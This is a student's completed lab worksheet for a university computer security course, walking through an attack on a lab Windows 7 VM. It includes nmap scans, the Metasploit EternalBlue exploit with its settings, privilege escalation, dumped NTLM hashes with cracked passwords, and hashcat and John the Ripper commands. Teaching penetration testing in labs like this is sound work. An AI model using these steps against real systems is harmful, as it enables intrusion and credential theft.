CMSC 426 – Principles of Computer Security

Spring 2019

Lab 4 – Attacker Lifecycle

Full name: Daniel Roh
UMBC username: DRoh1

Part 1: *Hacker Voice*: "...I'M IN"

1A. What is the IP address of the Windows 7 VM?
[4 points]

- 192.168.84.101

1B. What `nmap` command(s) did you run to get your answer?
[3 points]

- "nmap -sP 192.168.84.1/24"

2A. What are the open ports on the Windows 7 VM?
[3 points]

- Ports 135, 139, 445

2B. What services are listening on those ports, and what are their versions (if listed)?
[5 points]

- Msrpc, netbios-ssn, microsoft-ds

2C. What `nmap` command(s) did you run to get your answer?
[3 points]

- "nmap 192.168.84.101"

3. Outline a plan for exploiting the Windows 7 VM: What service(s) do you believe may be vulnerable and why? What exploit(s) do you believe

may be successful? Justify your answers.
[15 points]

- I believe that microsoft-ds and netbios-ssn is vulnerable. This is because, microsoft-ds and netbios-ssn is used to share files between computers via a SMB protocol that was exploited by the EternalBlue exploit.
- I believe the EternalBlue exploit will be successful as EternalBlue was used to exploit the SMB protocol used in the microsoft-ds and netbios-ssn services.

4. What exploit did you use to gain access to the Windows 7 VM? List **all** of the options that you set for your exploit and your payload.
[15 points]

- The exploit I used was the EternalBlue exploit.
- “use exploit/windows/smb/ms17_010_eternalblue”
- “set rhost 192.168.84.101”
- “set lhost 192.168.84.3”

5A. Further research the exploit that you used. What is its CVE designator?
[3 points]

- CVE-2017-0143

5B. Has the exploit been used by any notable cybercriminals or in any notable malware campaigns?
[5 points]

- Yes, this exploit was used for the WanaCry malware virus and NotPetya cyberattack on Ukraine.

5C. Provide a **brief** summary of how your chosen exploit works.
[5 points]

- EternalBlue uses a buffer overflow attack in SMB protocol in which an error in how a function casts the data in to a smaller storage area.

The now overflowed buffer overwrites into return addresses and once the code its that point, an executable placed in the buffer is run.

Part 2: Getting the Passwords

6A. What is your privilege level on the Windows 7 VM after gaining access to it? What privilege level is necessary in order to use Mimikatz and why?
[3 points]

- System
- Mimikatz needs admin or system level privilege. This is because any user under admin won't be allowed access to where windows stores its password hashes

6B. If you needed to escalate your privileges in order to use Mimikatz, describe how you did so. (If you already had the appropriate privileges after running your exploit, you should describe how you would have escalated them if needed.)
[3 points]

- To escalate privileges, Metasploit command “use priv” and then “getsystem”. From there Metasploit will attempt to give the admin privileges with its methods.

7. What are the NTLM hashes for the *Administrator* user and the *student* user?
[X points]

- Admin: 682e7a8607d5c802ae8f9942ca6b096b
- Student: 2ad421d6036d46e5ca5aa1f14922eaf4

8. What are the passwords for the *Administrator* user and the *student* user? Describe in **detail** how you cracked the NTLM hashes.
[15 points]

- Admin: Dogsarecool!
- Student: changeme123
- The method I used is by using a software called hashcat. I placed the two NTLM hashes into a .txt file and ran hashcat to look through a wordlist to find the password using the command “hashcat -m 1000 -a

0 --force --show --username temp /usr/share/wordlists". This only gave me one of the two passwords.

- The second password for admin I tried using a different program john the ripper. I ran the program with "john --format=NT -wordlist=rockyou.txt temp" but once again only found the student's account password. I was able to find the found by adding the "--rules" argument making the command "john --format=NT -- rules -wordlist=rockyou.txt temp" and running the program again to get the password for the admin account.

9. Provide a screenshot of each of the two passwords being recovered. [10 points]

[Either paste your screenshots here, or submit as separate files]